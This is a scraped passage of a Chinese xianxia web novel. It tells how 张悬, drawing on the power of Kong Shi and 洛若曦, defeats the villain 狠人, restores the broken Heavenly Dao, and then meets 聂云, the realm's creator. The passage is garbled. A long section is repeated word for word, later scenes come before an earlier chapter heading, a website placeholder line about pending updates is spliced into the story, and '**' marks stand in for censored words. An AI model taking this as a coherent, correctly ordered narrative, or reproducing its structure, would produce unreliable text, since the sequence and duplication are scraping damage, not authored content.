“你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 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是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百一十四章剖白 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 